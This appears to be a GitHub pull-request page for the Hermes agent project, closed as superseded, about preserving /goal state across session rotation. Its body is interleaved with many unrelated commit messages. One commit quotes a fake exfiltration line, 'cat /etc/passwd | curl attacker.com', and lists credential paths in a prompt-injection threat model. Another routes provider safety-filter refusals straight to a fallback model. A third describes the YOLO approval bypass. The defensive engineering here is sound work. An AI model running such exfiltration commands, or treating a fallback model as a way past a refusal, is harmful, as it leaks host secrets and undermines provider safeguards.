What does this PR do?

Adds migrate_goal() to preserve active /goal state when the session_id rotates during context compression. Wired at all 3 rotation sites in the gateway.

Fixes #33618

Type of Change

  • ✨ New feature

Changes Made

The `vercel` optional-dependency was removed from pyproject.toml in
NousResearch#33067, but `nix/packages.nix` (added a few hours later in NousResearch#33108)
still references `"vercel"` in the `#full` variant's
`extraDependencyGroups`. uv2nix fails evaluation with:

  error: Extra/group name 'vercel' does not match either extra or
  dependency group

Because `nix/devShell.nix` does
`inputsFrom = builtins.attrValues self'.packages`, the broken `#full`
derivation is pulled into the dev shell too, so `nix develop` /
direnv breaks on a fresh clone — not just `nix build .#full`.

Adds migrate_goal() to hermes_cli/goals.py and wires it at 3 session_id
rotation sites in gateway/run.py: auto-compression, agent_result compression,
and /compress command handler. Preserves active /goal state across context

* fix(agent): fallback immediately on provider content-policy blocks

Provider safety-filter refusals (e.g. OpenAI Codex 'flagged for possible
cybersecurity risk', OpenAI moderation 'violates our usage policies',
Anthropic safety-system rejections, Azure content_filter) are
deterministic decisions about a specific prompt. Retrying the same
prompt up to api_max_retries times just reproduces the same refusal and
burns paid attempts before surfacing the generic 'API failed after 3
retries — <provider message>' to Telegram / cron with no indication that
the failure came from the model provider rather than Hermes itself.

Classify these as a new FailoverReason.content_policy_blocked
(non-retryable, should_fallback=True) and route them through the
existing is_client_error path so the loop:
  - skips the 3x retry backoff
  - activates a configured fallback model immediately
  - emits a clear provider-safety message to the user (not the generic
    'Non-retryable error (HTTP None)') and surfaces actionable guidance
    when no fallback is configured (rephrase, narrow context, or set
    fallback_model in hermes config)
  - returns a final_response that explicitly tells the user this came
    from the model provider, so gateway delivery is unambiguous and
    cron last_status reflects the safety block rather than a vague
    'agent reported failure'

Patterns are intentionally narrow — verbatim refusal phrasings keyed to
specific provider safety pipelines, not generic words like 'policy' or
'violation' that would collide with billing / format / auth errors.
Regression guards in test_18028_content_policy_blocked.py verify
billing 402s, generic 400s, and OpenRouter account-level
provider_policy_blocked remain distinct classifications.

Salvaged from NousResearch#18164 onto current main (file restructure: loop logic
moved from run_agent.py to agent/conversation_loop.py, _emit_status →
_buffer_status), broadened patterns beyond the original OpenAI Codex
cybersecurity case to cover OpenAI moderation, Anthropic safety system,
and Azure content_filter; added user-actionable guidance and a clear
final_response so cron/gateway surfaces the policy block instead of a
generic non-retryable error, and added a regression-guard test module
mirroring the is_client_error predicate.

Addresses NousResearch#18028.

OpenRouter supports a session_id field in extra_body that pins
multi-turn conversations to the same provider endpoint, enabling
prompt cache reuse across turns. The session_id was already threaded
through to build_extra_body() but never included in the returned dict.

Co-Authored-By: Claude Opus 4 (1M context) <noreply@anthropic.com>
Anthropic released Claude Opus 4.8 on 2026-05-27, available on
OpenRouter, Anthropic, Amazon Bedrock, and Claude Platform on AWS:
  - https://openrouter.ai/anthropic/claude-opus-4.8
  - https://openrouter.ai/anthropic/claude-opus-4.8-fast

The fast-mode variant is a separate model ID (anthropic/claude-opus-4.8-fast)
priced at 2x of the base model — a notable improvement over the 6x premium
on older Opus generations (4.6/4.7). It is NOT a `speed: "fast"` request
parameter like Opus 4.6; Anthropic's native fast-mode beta still only
covers Opus 4.6.

Changes:

  hermes_cli/models.py
    - Add anthropic/claude-opus-4.8 + anthropic/claude-opus-4.8-fast to
      the OpenRouter fallback snapshot and the Nous Portal curated list
      (live catalogs surface them automatically when reachable; the
      fallback list matters when the manifest fetch fails).
    - Add claude-opus-4-8 to the Anthropic-native picker list.

  agent/model_metadata.py
    - Register claude-opus-4-8 / claude-opus-4.8 in DEFAULT_CONTEXT_LENGTHS
      with 1M tokens (matches 4.6/4.7).

  agent/anthropic_adapter.py
    - Extend _XHIGH_EFFORT_SUBSTRINGS, _ADAPTIVE_THINKING_SUBSTRINGS, and
      _NO_SAMPLING_PARAMS_SUBSTRINGS with "4-8"/"4.8". 4.8 inherits the
      Opus 4.7 API contract: adaptive thinking only, xhigh effort level
      supported, sampling parameters (temperature/top_p/top_k) return 400.
    - Add claude-opus-4-8 to _ANTHROPIC_OUTPUT_LIMITS (128k max output,
      same as 4.7). Matches by substring so claude-opus-4-8-fast and
      date-stamped variants resolve correctly.

  agent/usage_pricing.py
    - Add anthropic/claude-opus-4-8: $5/$25 per MTok input/output, $0.50
      cache read, $6.25 cache write (same as 4.6/4.7).
    - Add anthropic/claude-opus-4-8-fast: $10/$50 per MTok (2x), $1.00
      cache read, $12.50 cache write. Per OpenRouter, the 2x premium is
      the only differentiator from regular Opus 4.8.
    - OpenRouter routes still pull pricing from the live /models API, so
      no static OpenRouter entry is needed.

  tests/agent/test_model_metadata.py
    - Extend the Claude 4.6+ context-length tag list with 4.8/4-8.

  website/static/api/model-catalog.json
    - Regenerated via `python scripts/build_model_catalog.py` to pick up
      the new entries in the OpenRouter and Nous Portal fallback lists.

E2E verification (isolated sys.path import against the worktree):
  - _supports_adaptive_thinking, _supports_xhigh_effort, _forbids_sampling_params
    all return True for claude-opus-4.8 and claude-opus-4.8-fast.
  - _supports_fast_mode (the `speed: "fast"` request-parameter gate) stays
    False for 4.8 — fast mode is a separate model ID on OpenRouter, not a
    parameter Anthropic accepts on the base model.
  - DEFAULT_CONTEXT_LENGTHS resolves 1M for both notations.
  - resolve_billing_route + _lookup_official_docs_pricing resolve the
    correct $5/$25 (regular) and $10/$50 (fast) pricing for both
    dot-notation and dash-notation inputs.
  - 4.7 and 4.6 regression: behavior unchanged.

Unit tests: 305 passed across tests/agent/test_usage_pricing.py,
test_model_metadata.py, tests/hermes_cli/test_model_catalog.py,
test_models.py, test_model_validation.py, test_models_dev_preferred_merge.py.
* chore: release v0.15.0 (2026.5.28)

The Velocity Release. Run_agent.py refactor (16k→3.8k LOC, -76%),
kanban grows into a multi-agent platform (104 PRs), cold-start perf wave
continues (-240ms / -47% per-turn function calls / -195ms per tool call),
session_search rebuilt (4500x faster, no LLM), promptware defense lands,
Bitwarden Secrets Manager integration, two new image_gen providers
(Krea 2, FAL plugin port), Nous-approved MCP catalog, OpenHands skill,

15 P0 + 65 P1 closures. 747 PRs, 1,302 commits, 321 contributors.

* chore(release): bump acp_registry/agent.json to 0.15.0 (sync with pyproject)
…ousResearch#33861)

The dashboard's loopback auth uses an ephemeral '_SESSION_TOKEN' that
rotates on every server restart (hermes update, hermes gateway restart,
etc.). A tab kept open across the restart holds the OLD token in
window.__HERMES_SESSION_TOKEN__ from the previous HTML render, so every
'/api/*' fetch returns '401 Unauthorized' — surfacing in the UI as
'Failed to load Kanban board: 401: Unauthorized', 'Analytics 401', etc.
(NousResearch#24186, NousResearch#25275).

Before this patch the workaround was to manually clear site data or
hard-reload — annoying enough that users reported it as a regression
even though the token rotation is by design (security property:
stolen tokens can't survive a server restart).

The HTML response already sets 'Cache-Control: no-store, no-cache,
must-revalidate', so a reload reliably picks up the freshly-injected
token. fetchJSON now triggers that reload automatically on the first
loopback-mode 401, guarded by a sessionStorage flag so a genuine
auth bug (where even the new token fails) falls through to throw
on the second attempt instead of reload-looping. The flag is
cleared on any 2xx so a subsequent server restart in the same tab
gets its own reload cycle.

Gated mode is unaffected — that path already redirects to login_url
via the structured 401 envelope (Phase 6), and the new code is
explicitly skipped when window.__HERMES_AUTH_REQUIRED__ is set.

The skills.sh source was returning ~858 unique skills from a hardcoded
list of 28 popular keyword searches (each capped at 50 results). The
real catalog is ~20k — exposed via sitemap-skills-{1,2}.xml linked from
the site's sitemap index.

Switch the empty-query path in SkillsShSource.search() to walk the
sitemap instead of scraping the homepage's curated featured strip.
Falls back to the homepage scrape if the sitemap is unreachable.

build_skills_index.crawl_skills_sh() now just calls search("", limit=0)
instead of running 28 keyword searches — same result in one HTTP round
instead of 28.

Also handle a httpx + brotlicffi interaction: the per-skill sitemaps
are ~900 KB brotli-compressed and the cffi backend's streaming decode
chokes on them. Forcing Accept-Encoding to gzip dodges the bug without
requiring a brotli library upgrade.

E2E against live skills.sh: 19,932 unique skills walked in 0.7s.
Tests: 137 pass (+1 new regression test exercising the sitemap path).

Floor for skills.sh raised 100 → 10,000 in EXPECTED_FLOORS so a future
regression hard-fails the build.
…tore .md delivery (NousResearch#34022)

PR NousResearch#29523 restricted MEDIA: paths and bare local paths in agent output to
files under the Hermes media cache or an operator-allowlisted root, with
a 10-minute recency window as a fallback. The intent was to defend
against prompt-injection-driven exfiltration of host secrets, but in the
default single-user setup the asymmetry doesn't earn its keep: we accept
any document type the user uploads inbound (.md, .pdf, .txt, .docx, ...)
and the agent already has terminal access — anything that can convince
it to emit a MEDIA: tag for /etc/passwd can equally convince it to
`cat /etc/passwd | curl attacker.com`.

Practical breakage: agents that produced an .md, .pdf, or other
artifact more than ~10 minutes ago, or outside the cache allowlist,
showed the user a raw filepath in chat instead of the file.

Default flipped to denylist-only:
  • /etc, /proc, /sys, /dev, /root, /boot, /var/{log,lib,run}
  • $HOME/{.ssh,.aws,.gnupg,.kube,.docker,.config,.azure,.gcloud}
  • macOS Library/Keychains
  • $HERMES_HOME/{.env, auth.json, credentials}

The legacy allowlist+recency-window behavior stays available via
opt-in: `gateway.strict: true` in config.yaml (or
`HERMES_MEDIA_DELIVERY_STRICT=1`). Recommended for public-facing bots
where prompt injection from one user shouldn't be able to exfiltrate
the host's secrets to that same user.

• `gateway/platforms/base.py` — `validate_media_delivery_path()`
  short-circuits to "return resolved if not under denylist" when
  strict is off. Strict mode preserves the original cache-then-
  allowlist-then-recency logic. New `_media_delivery_strict_mode()`
  reader for `HERMES_MEDIA_DELIVERY_STRICT`.
• `hermes_cli/config.py` — `gateway.strict: false` added to
  DEFAULT_CONFIG; existing keys documented as "only consulted in
  strict mode." No `_config_version` bump needed (deep-merge picks
  up the new default for old installs).
• `gateway/run.py` — bridges `gateway.strict` →
  `HERMES_MEDIA_DELIVERY_STRICT` at startup.
• `tools/send_message_tool.py` — schema description broadened back
  to plain "any local path."
• Tests — existing strict-path tests pinned to STRICT=1 so they keep
  exercising the legacy behavior; new `TestMediaDeliveryDefaultMode`
  with 8 cases covering the public default (stale .md accepted, any
  extension delivers, credential paths still blocked, strict env-var
  aliases, filter E2E).

Validation:
  - tests/gateway/test_platform_base.py: 119/119 pass
  - tests/gateway/test_tts_media_routing.py: 7/7 pass
  - tests/tools/test_send_message_tool.py: 121/121 pass
  - tests/hermes_cli/test_kanban_notify.py: 12/12 pass
  - tests/cron/test_scheduler.py: 120/120 pass
  - E2E via execute_code with real imports:
    • stale .md outside allowlist → accepted (default)
    • same path with STRICT=1 → rejected
    • $HOME/.ssh/id_rsa → rejected (default)
    • filter_local_delivery_paths([md, key]) → [md] only
    • gateway.strict in config.yaml → bridged to env (true=1, false=0)
* fix(redact): pass web URLs through unchanged

Magic-link checkout URLs, OAuth callbacks the agent is meant to follow,
and pre-signed share URLs were getting `?token=***` / `?code=***` /
`?signature=***` blanket-redacted by parameter NAME, which breaks any
skill that has to round-trip a URL through history (the model's tool
call arguments get sanitized before persistence — the live call fires
with the real URL, but the next turn sees `***`).

Joe Rinaldi Johnson hit this with a checkout-acceleration skill that
uses magic links in URLs.

Drops three call sites from `redact_sensitive_text`:
- `_redact_url_query_params` (was redacting `access_token`, `token`,
  `api_key`, `code`, `signature`, `key`, `auth`, etc.)
- `_redact_url_userinfo` (was redacting `https://user:pass@host`)
- `_redact_http_request_target_query_params` (was redacting access-log
  request targets like `"POST /hook?password=... HTTP/1.1"`)

The helpers themselves are kept in the module — still importable by
anything that wants to opt in explicitly.

Still redacted (unchanged):
- Vendor-prefix credential shapes (sk-, ghp_, AKIA, gAAAA, etc.)
  anywhere they appear, including inside URLs — see the
  `test_known_prefix_inside_url_still_redacted` case.
- JWTs (`eyJ...`)
- DB connection-string passwords (`postgres://admin:pw@host`) —
  these are connection strings, not web URLs the agent navigates to.
- Authorization headers, ENV assignments, JSON `apiKey`/`token` fields,
  Telegram bot tokens, private key blocks, Discord mentions, E.164
  phone numbers, and form-urlencoded bodies (request bodies, not URLs).

Tests: replaces `TestUrlQueryParamRedaction` + `TestUrlUserinfoRedaction`
with `TestWebUrlsNotRedacted`, asserting representative URLs (OAuth
callback, magic link, S3 pre-signed, websocket, userinfo, access log)
pass through unchanged. Adds positive cases proving the prefix and DB
connstr nets still fire. 74 redact tests + 10 browser-exfil + 16 PII
redaction tests all pass.

* test(codex_app_server): drop URL-query assertion from stderr-tail redaction test

The test bundled (a) sk-live-* credential-prefix redaction with (b)
URL query-param redaction. (a) is still in effect via _PREFIX_RE;
(b) was the contract we just removed in the parent commit so the
'querysecret12345' assertion stopped holding. Keep the credential-shape
assertion, drop the URL-query one.

Send-message tool's local _URL_SECRET_QUERY_RE in tools/send_message_tool.py
is independent of agent/redact.py and unchanged — its tests
(test_top_level_send_failure_redacts_query_token,
test_http_error_redacts_access_token_in_exception_text) still pass.
…che (NousResearch#33867)

* fix(model picker): unify /model and `hermes model` model lists, add disk cache

The /model slash picker and `hermes model` were drifting apart. /model
read the raw static `OPENROUTER_MODELS` list (31 entries, including 5
that fail at runtime — no tool-call support or absent from live catalog),
while `hermes model` ran the same list through the live OpenRouter
/v1/models tool-support filter and showed 26 valid entries. Same problem
existed for every other authed provider: /model used curated static
lists, `hermes model` used live /v1/models.

Unifies both surfaces on `provider_model_ids()` and adds a generic
disk-cached wrapper so the picker stays snappy.

Changes
- hermes_cli/models.py: new `cached_provider_model_ids()` —
  ~/.hermes/provider_models_cache.json, 1h TTL, per-provider entries
  keyed by credential fingerprint (env vars + OAuth file mtimes).
  Stale-data-beats-no-data on transient failures. Pair with
  `clear_provider_models_cache(provider=None)`.
- hermes_cli/models.py: `provider_model_ids("nous")` now falls back
  to the docs-hosted manifest (not the in-repo snapshot) when the live
  Portal /models call fails — preserves the model_catalog regression
  guarantee while still going through the unified pathway.
- hermes_cli/model_switch.py: `list_authenticated_providers` routes
  sections 1, 2, and 2b through `cached_provider_model_ids(slug)` with
  curated fallback when the live fetcher comes up empty.
- hermes_cli/model_switch.py: `parse_model_flags` extended to a
  4-tuple, parses `--refresh`.
- cli.py / gateway/run.py / tui_gateway/server.py: updated unpacking;
  CLI + gateway wire `--refresh` to `clear_provider_models_cache()`.
- hermes_cli/main.py: `hermes model --refresh` argparse flag.
- hermes_cli/commands.py: `/model` args_hint advertises `--refresh`.
- tests/hermes_cli/test_inventory.py: refresh stale comment.

Live PTY parity verification
- /model → OpenRouter row: `(26 models)` (was 31, with broken entries)
- `hermes model` → OpenRouter: 26 models (unchanged)
- The 5 dropped entries: `pareto-code` (no tool-call support),
  `gemini-3-pro-image-preview` (no tool-call support),
  `elephant-alpha`, `hy3-preview:free`, `ring-2.6-1t:free` (gone
  from OpenRouter's live catalog).

Live PTY timing
- First /model open, empty cache: 4624 ms (full network round trip
  across every authed provider)
- Second /model open, warm cache: 51 ms (90× faster)
- `/model --refresh` clears the disk cache and re-fetches.

Cache schema (~/.hermes/provider_models_cache.json, ~3 KB):
  { "anthropic": {"fp": "<sha256:16>", "at": 1748..., "models": [...]},
    ... }

Targeted tests: tests/hermes_cli/ + gateway model tests + tui_gateway —
5855/5855 pass.

* fix(model picker): use blake2b for cache fingerprint to silence CodeQL

py/weak-sensitive-data-hashing flagged the sha256 call in
_credential_fingerprint() as a high-severity alert because the input
includes env var values whose names contain *_API_KEY / *_TOKEN.

The hash is used solely as a cache-bust identity — never reversed, never
stored, collisions are harmless (worst case: cache miss → live re-fetch).
blake2b serves the same purpose and isn't flagged by this rule.

Functional behavior identical: 16-hex-char digest, cache hit/miss logic
unchanged. Live re-verified — 26 OpenRouter models, warm-cache 78ms.

Design notes — how this differs from competing approaches

This PR adds a migrate_goal() function to hermes_cli/goals.py and calls it at all three session-rotation points in gateway/run.py:

  1. Hygiene-mode compression (_handle_message_with_agent, hygiene branch)
  2. Standard compression (_handle_message_with_agent, agent_result branch)
  3. /compress command (_handle_compress_command)

Key differences from competing PRs:

Our approach: Fail-safe by design — migration is wrapped in try/except with logger.debug (non-fatal). If migrate_goal() fails for any reason, the session continues normally; the goal is just lost (same as current behavior). The old goal entry is preserved but marked cleared, so session_search can still surface it.

…ch#28181)

The single-query signal handler in cli.py raises KeyboardInterrupt on
SIGTERM/SIGHUP. For interactive 'hermes chat -q' that unwinds the main
thread cleanly. For kanban workers spawned by the dispatcher, the
worker process is likely to have a non-daemon thread alive (terminal
_wait_for_process, custom plugins, etc.). With KeyboardInterrupt only
the main thread unwinds; the non-daemon thread keeps the process alive,
the gateway has already restarted, and the dispatcher's _pid_alive
check returns True forever — task stuck in 'running' indefinitely.

When HERMES_KANBAN_TASK is set (dispatcher-spawned worker), flush
logging + stdout/stderr, then os._exit(0) instead of raising
KeyboardInterrupt. The kernel reclaims the PID immediately, and the
existing zombie-state detection in _pid_alive flips the task to
crashed on the next dispatcher tick. detect_crashed_workers then
re-spawns it on the following tick — no manual recovery needed.

A SIGALRM(2s) deadman is armed before the flush so a pathological
blocking-I/O flush can't wedge the worker forever. In practice the
reporter measured flush in <1ms; the alarm is a failsafe, never
the common path.

Interactive (non-kanban) chat -q is unchanged — the env-gated branch
only fires for dispatcher-spawned workers.

Live verification on this machine:
- Without HERMES_KANBAN_TASK + non-daemon thread alive: process hangs
  alive 4+ seconds after SIGTERM. Dispatcher's _pid_alive returns
  True → task stuck.
- With HERMES_KANBAN_TASK + same non-daemon thread: process exits in
  0.10s via os._exit(0). Dispatcher reclaims on next tick.

Tests:
- tests/hermes_cli/test_signal_handler_kanban_worker.py (3 cases):
  end-to-end subprocess test with a non-daemon thread,
  HERMES_KANBAN_TASK env, SIGTERM, dispatcher-style _pid_alive check.
  Plus a source-level invariant test catching future refactors that
  drop the env-gated exit.
- 452/452 kanban tests pass.

The CLI's in-chat `/yolo` toggle mutated `os.environ["HERMES_YOLO_MODE"]`
but had no effect because `tools/approval.py:_YOLO_MODE_FROZEN` captures
that env var once at module-import time (a deliberate security floor that
keeps prompt-injected skills from flipping the bypass mid-run). By the
time the user reaches `/yolo` in a running CLI session, `tools.approval`
has already been imported, so the env flip after that is a silent no-op.

Result: `/yolo` advertised "⚠ YOLO" in the status bar while every
dangerous command still hit the approval prompt or got denied.  Only
`hermes --yolo` (set before tool imports), `HERMES_YOLO_MODE=1 hermes ...`,
and `hermes config set approvals.mode off` actually bypassed.

This patches the CLI to match what the gateway and TUI `/yolo` handlers
already do, plus mirrors the TUI's session-rename YOLO transfer:

* `_toggle_yolo()` now calls `enable_session_yolo(self.session_id)` /
  `disable_session_yolo(self.session_id)` instead of touching the env
  var.  Matches `gateway/run.py:_handle_yolo_command` and the
  `tui_gateway/server.py` key=="yolo" branch.
* Around each `run_conversation()` call, `run_agent()` now binds
  `set_current_session_key(self.session_id)` so
  `tools.approval.is_current_session_yolo_enabled()` resolves against
  the same key the toggle writes under, and resets it in `finally` so
  reused threads don't see stale identity.  Matches the
  `tui_gateway/server.py` and `gateway/platforms/api_server.py` binding
  pattern.
* New `_transfer_session_yolo()` helper carries YOLO bypass state
  across `self.session_id` reassignments — `/branch` forking into a
  new session id and the auto-compression sync that rotates into a
  fresh continuation session id.  Without this, the same UX failure
  mode the rest of this fix addresses (silent `/yolo` no-op) would
  reappear after a single `/branch` or auto-compression event.
  Mirrors `tui_gateway/server.py` ~line 1297-1305.
* New `_is_session_yolo_active()` helper replaces the two
  `bool(os.getenv("HERMES_YOLO_MODE"))` reads in the status-bar
  builders, so the badge reflects the actual bypass state.  Uses
  `getattr(self, "session_id", None)` so status-bar test fixtures
  that bypass `__init__` via `HermesCLI.__new__(HermesCLI)` don't
  trip `AttributeError` (the builders swallow exceptions silently
  and lose every field after the failure).  Still honors
  `_YOLO_MODE_FROZEN` so `hermes --yolo` keeps lighting it up.

The `_YOLO_MODE_FROZEN` security freeze is preserved — env-var-based
opt-in still only works when set before process start, which is the
documented contract for `--yolo` / `HERMES_YOLO_MODE`.

Closes NousResearch#33925
…vior

The old test asserted that a non-MiniMax provider returning a generic
overflow (no provider-reported max) would step down to the 128K probe
tier. The salvaged fix from NousResearch#33673 deliberately removes that step-down
because guessed tiers cause configured 1M sessions to silently shrink.

Update the test to assert the new contract: keep the configured 200K
window and rely on compression instead.
Auto-recall used to surface every fact type Hindsight had on the
session — `world`, `experience`, and `observation`. That triple-ships
the same underlying signal in three different framings: observations
are the concrete events the user said/did/asked, while world and
experience facts are aggregate summaries Hindsight derives from those
exact observations. Including all three burns most of
`recall_max_tokens` on rephrasings, crowds out events the model
actually needs to see, and produces effective duplicates in the
prompt — observations themselves are deduplicated by construction
so observation-only recall is denser per token and closer to
conversational ground truth.

Change
------
- Default `_recall_types = ["observation"]` (was `None`, which
  delegated to server-side "return everything").
- `initialize()` now treats a missing `recall_types` config the same
  way; also accepts comma-separated strings for parity with `recall_tags`.
- An explicit `recall_types=[]` config falls back to the default rather
  than disabling the filter (would silently widen recall vs. the new
  default).
- Added to `get_config_schema()` so it's discoverable via `hermes config`.

Per-call `hindsight_recall` tool invocations are unaffected — they
already only forward `types` when the caller passes the argument.

Docs / migration
----------------
plugins/memory/hindsight/README.md grows a "Behavior change" callout
explaining the why (no-duplicates, information-efficient) and how to
restore the legacy broad recall:

    "recall_types": "observation,world,experience"   # or a JSON list

in `~/.hermes/hindsight/config.json`.

Tests
-----
- `test_default_values` updated for the new default.
- New cases: explicit list override, CSV string accepted, empty list
  falls back to default (not "wider than default").
The original change's description and README claimed the per-call
hindsight_recall tool was unaffected by the new observation-only default.
That is inaccurate: hindsight_recall reads the same self._recall_types
instance attribute as the auto-recall prefetch path, and RECALL_SCHEMA
exposes no per-call types argument, so the model cannot override it.
Narrowing the default narrows BOTH paths.

Corrects the README behavior-change note, the config-table row, and the
get_config_schema description to reflect that recall_types applies to
both auto-recall and the hindsight_recall tool.

Two CI flakes surfaced on PR NousResearch#34572 (both in files this PR doesn't touch;
pre-existing host-dependent flakes):

1. test_process_registry::TestPopenLeakOnSetupFailure — the failure-cleanup
   tests use a fake proc.pid (8888/9999) and assert proc.kill() runs. But
   spawn_local's primary cleanup is os.killpg(os.getpgid(pid), SIGKILL),
   falling back to proc.kill() only on ProcessLookupError/PermissionError/
   OSError. When the fake PID happens to exist on a busy host, os.getpgid
   succeeds, os.killpg fires against an UNRELATED real process group, and
   proc.kill() is never reached -> flaky AssertionError (and a real risk of
   SIGKILLing an innocent process group from a unit test). Patch os.getpgid
   to raise ProcessLookupError so the fallback path runs deterministically
   and no real killpg is ever issued.

2. test_web_server::test_resize_escape_is_forwarded — the receive loop calls
   the blocking conn.receive_bytes() with no exception guard. Once the child
   prints its winsize and exits, the PTY closes; on a missed-marker run the
   next recv blocks until the 30s pytest-timeout instead of failing fast.
   Add a try/except break (matching the working sibling tests) and bump the
   child's pre-read sleep 0.15s -> 0.5s so the resize reliably lands first.

Verified: 4/4 pass across 3 consecutive runs; root cause for NousResearch#1 reproduced
(os.getpgid(1) succeeds -> old code skips proc.kill).

The rotation flowchart only described the generic 'retry once, rotate on
second 429' path. ChatGPT/Codex plan-limit 429s carry a usage_limit_reached
reason and rotate to the next pool key immediately (no retry, since the cap
won't clear on retry). Document that case so the docs match the code.
…imize'

The FTS5 indexes (messages_fts, messages_fts_trigram) grow as a series of
incremental b-tree segments — one per trigger-driven insert batch. SQLite's
automerge caps at ~16 segments, so a long-lived store keeps scanning many
segments per MATCH and never collapses them unless the special 'optimize'
command runs. Nothing in the codebase ever ran it: vacuum() only fired after
a prune that deleted rows, and even then never merged FTS segments.

Changes:
- SessionDB.optimize_fts(): merges each FTS5 index to a single segment,
  probing for the (optional/lazy) trigram table first so it is safe to call
  unconditionally. Layout-only — search results and snippet() are unchanged.
- vacuum() now calls optimize_fts() before VACUUM so freed index pages are
  returned to the OS in the same pass.
- 'hermes sessions optimize' CLI subcommand for on-demand reclamation +
  segment compaction (previously there was no way to compact the store
  without a prune deleting rows), with before/after size reporting.

Benchmark (8000 msgs, fragmented to 8 segments/index):
- segments 8 -> 1 on both indexes
- porter MATCH 5.5x faster (0.449 -> 0.081 ms/q)
- trigram MATCH 3.0x faster (0.632 -> 0.207 ms/q)
- 8000 matches before == 8000 after, identical row ids (no functional change)

Orthogonal to the structural FTS-size PRs (NousResearch#20239 external-content,
NousResearch#27770 optional trigram) — segment merge helps regardless of those.

Tests: TestOptimizeFts covers index count, search+snippet preservation,
missing-trigram path, and idempotency. Full test_hermes_state.py green (227).
Have vacuum() return optimize_fts()'s count so the CLI 'sessions optimize'
summary uses the real merged-index count instead of probing the private
_FTS_TABLES / _fts_table_exists() members.
…rop-stale-vercel-group

fix(nix): drop stale "vercel" group from #full variant
Remove paths filters from contributor-check and supply-chain-audit
workflows. When no matching files changed, the workflows never ran and
the required checks (check-attribution, supply chain scan, dep bounds)
stayed "pending" forever, blocking merge.

Now both workflows always trigger. A path-check step/job determines
whether the real work should run; gate jobs with matching names report
success when the real job was skipped, so branch protection always
gets a check status.

Also fixes dep-bounds: the old condition
  if: contains(github.event.pull_request.changed_files_url, 'pyproject.toml') || true
was always true (the || true made it unconditional). Now uses the
proper changes.deps output from the shared filter job.
The scan-gate / dep-bounds-gate jobs use needs.changes; if the changes
job itself fails, its dependents would be skipped via a failed dependency
(not a conditional skip), leaving the required check unreported — the same
"pending forever" failure this PR fixes. Add always() and switch the gate
condition from == 'false' to != 'true' so the gate still fires (and reports
SUCCESS) when changes fails and its output is empty.
Wire plugins/video_gen/fal/__init__.py to use the same
_ManagedFalSyncClient pattern that image gen already uses.

Changes:
- Add managed gateway resolution, client caching, and
  _submit_fal_video_request() that routes between direct FAL_KEY
  and Nous gateway modes
- Update is_available() to return True when either FAL_KEY or the
  managed gateway is reachable
- Update generate() to use submit+get handle pattern instead of
  fal_client.subscribe() directly
- Fix happy-horse endpoint namespace: fal-ai/ → alibaba/ (matches
  the tool-gateway allowlist from fal-video-gen branch)
- Surface actionable error on 4xx gateway rejections

Tests:
- 4 new tests in test_managed_media_gateways.py (gateway routing,
  client reuse, direct mode fallback, alibaba namespace)
- Updated existing test_fal_plugin.py fixture to use submit/handle
  pattern and patch _resolve_managed_fal_video_gateway for isolation
- Add test for 4xx ValueError with actionable remediation message
- Add test for is_available() returning True via managed gateway
- Add test for prefers_gateway overriding direct FAL_KEY
- Add test for is_available() via gateway in plugin test file
Add the same managed-gateway UX that image_gen already has:

- TOOL_CATEGORIES['video_gen'] gets a 'Nous Subscription' provider row
  with managed_nous_feature='video_gen' + video_gen_plugin_name='fal'
- NousSubscriptionFeatures gains a video_gen property + feature state
  computation (managed/active/available using the fal-queue gateway)
- _GATEWAY_TOOL_LABELS, _GATEWAY_DIRECT_LABELS, _ALL_GATEWAY_KEYS,
  _get_gateway_direct_credentials, opted_in all include video_gen
- apply_nous_managed_defaults and apply_gateway_defaults handle video_gen
- _is_toolset_satisfied checks Nous features for video_gen
- _is_provider_active detects managed video_gen (use_gateway + fal provider)
- _select_plugin_video_gen_provider accepts use_gateway kwarg, propagated
  from all 4 call sites in _configure_provider when managed_feature is set
- hermes setup status shows 'Video Generation (FAL via Nous subscription)'

Users on a Nous subscription can now pick 'Nous Subscription' under
hermes tools → Video Generation, which sets video_gen.provider=fal +
video_gen.use_gateway=true. The FAL plugin's _resolve_managed_fal_video_gateway
then routes through the managed queue gateway — no FAL_KEY needed.
FAL veo3.1 API expects duration as "4s"/"6s"/"8s" (with unit suffix),
not bare "4"/"6"/"8" like other families. Add per-family duration_suffix
field and apply it in _build_payload. Also add "4k" to veo3.1 resolutions
per FAL API docs.

Note: the managed gateway currently rejects the "4s" format (expects
integer duration). Gateway-side fix needed for veo3.1 to work through
the Nous subscription path.
int(payload["duration"]) blows up on "4s" (veo3.1 format).
Strip non-digit chars before int conversion in the response builder.
The plugin switched from fal_client.subscribe() to submit()+handle.get().
The test mock only had subscribe, causing CI failures.
…rs + fix Windows consume (NousResearch#34749)

* fix(gateway): only fire planned-stop watcher for markers targeting self

Salvaged from NousResearch#34599 — rebased onto current main.

The planned-stop watcher now only fires shutdown for a marker that targets
the current process, instead of any marker that exists on disk. Fixes the
Windows crash loop (NousResearch#34597) where a stale marker from a previous Gateway
instance kills a freshly booted Gateway ~400ms after start with a false
"Received UNKNOWN — initiating shutdown".

Co-authored-by: Bartok9 <danielrpike9@gmail.com>

* fix(gateway): match planned-stop/takeover markers by PID alone when start_time is unavailable

Follow-up to the NousResearch#34599 salvage. The watcher's non-destructive probe
(planned_stop_marker_targets_self) already falls back to PID equality when
a process start_time is unavailable, but the authoritative consume it gates
(_consume_pid_marker_for_self) still required a non-None start_time match.

_get_process_start_time reads /proc/<pid>/stat and returns None on macOS and
native Windows — the only platform the planned-stop watcher exists for. So on
Windows the probe would fire the shutdown handler (PID matches) but the
handler's consume_planned_stop_marker_for_self() would return False, and a
legitimate 'hermes gateway stop' was still misclassified as an unexpected
UNKNOWN exit (exit 1) and revived by the service manager — a residual half of
the NousResearch#34597 crash loop on the legitimate-stop path.

Align the consume with the probe: when both start_times are known they must
match (PID-reuse guard preserved on Linux); when either is unavailable, fall
back to PID equality alone, bounded by the existing short marker TTL. This
also fixes the parallel --replace takeover consume on Windows, which shares
the same helper.

Adds regression tests for the Windows (None start_time) path, the foreign-PID
rejection under that fallback, and confirmation the start_time-mismatch guard
still rejects when both are known.

Thanks for this — the diagnosis and fix are correct for the rotation path.

Context on why we're closing it: as of #52658 (#38763), compression.in_place now defaults to True. Compaction keeps ONE durable session id for the conversation's whole life — it no longer ends the session and forks a continuation id. Because the id no longer rotates, the active /goal stays attached to the same session automatically — there is no rotation boundary to migrate the goal across.

Rotation now only runs as an explicit opt-out (compression.in_place: false), and the direction is to treat that path as legacy. So this fix hardens a code path that no longer executes by default and that we're not investing further in. Closing as superseded by the in-place default — not a reflection on the code, which was a correct fix for the behavior at the time. Credit preserved in the issue/PR history. Appreciate the contribution.
